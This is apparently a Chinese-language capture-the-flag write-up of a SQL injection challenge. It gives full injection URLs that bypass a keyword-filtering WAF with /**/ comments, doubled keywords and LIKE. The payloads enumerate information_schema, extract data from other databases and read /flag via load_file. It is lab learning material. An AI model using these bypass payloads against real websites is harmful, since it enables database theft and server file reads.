通过/**/来绕过了空格
通过双写绕过了select,or等等
通过like来绕过=
load_file来读取文件
获取第一段flag
- 首先经过判断waf过滤了空格,or
使用order by 来判断字段
?user=1%27oorrder/**/by/**/1%23
发现回显是1
通过下面的提示发现第一段flag在secret数据库password表里面
首先要进行判断字段
-
- 进行构造,发现=被过滤,那就使用like来绕过
-
- 如何在构造的时候发现好多过滤,都使用了双写来绕过
- group_concat的用法是将多个数据一起输出,就剩了用limit一个个看
?user=1%27union/**/selselectect/**/group_concat(column_name)/**/frfromom/**/infoorrmation_schema.columns/**/where/**/table_name/**/like/**/'passwoorrd'%23
知道了要获取的数据的列名是flag,表名是password
获取flag数据
正常构造的话发现会报错,我也研究了很久,最后是教练提醒才知道
password表并不在ctf这个数据库中,所以我们要在password前面加上数据库secret
最后的构造
?user=1%27union/**/selselectect/**/flag/**/frfromom/**/secret.passwoorrd%23
成功获取第一段flag
获取第二段flag
通过提示我们知道第二段flag在当前数据库的score表的学生begin的成绩(grader)里面
我们首先要知道表的列名
?user=1%27union/**/selselectect/**/group_concat(column_name)/**/frfromom/**/infoorrmation_schema.columns/**/where/**/table_name/**/like/**/'scoorre'%23、
//记得这里的score表中也有or记得双写绕过
接下来查询第二段flag
user=1%27union/**/selselectect/**/grade/**/frfromom/**/scoorre/**/where/**/student/**/like/**/'begin'%23
获取第三段flag
通过提示知道flag在/flag下,这当时也困扰了许久,一开始去尝试用shell写入,发现<>被过滤,听了一个学长给的建议是有目录先尝试读取,没办法了在去尝试shell,使用函数load_file
我们这里可以用union select,还有其他的子句可以用,可以自己去看看,开始构造
发现load也被过滤,老办法双写绕过
?user=1%27union/**/selselectect/**/loloadad_file('/flag')%23
最后成功拿到flag,不得不感叹,自己还是太菜了,还有就是,学习的路上不知你一个人,加油吧,少年!!!!!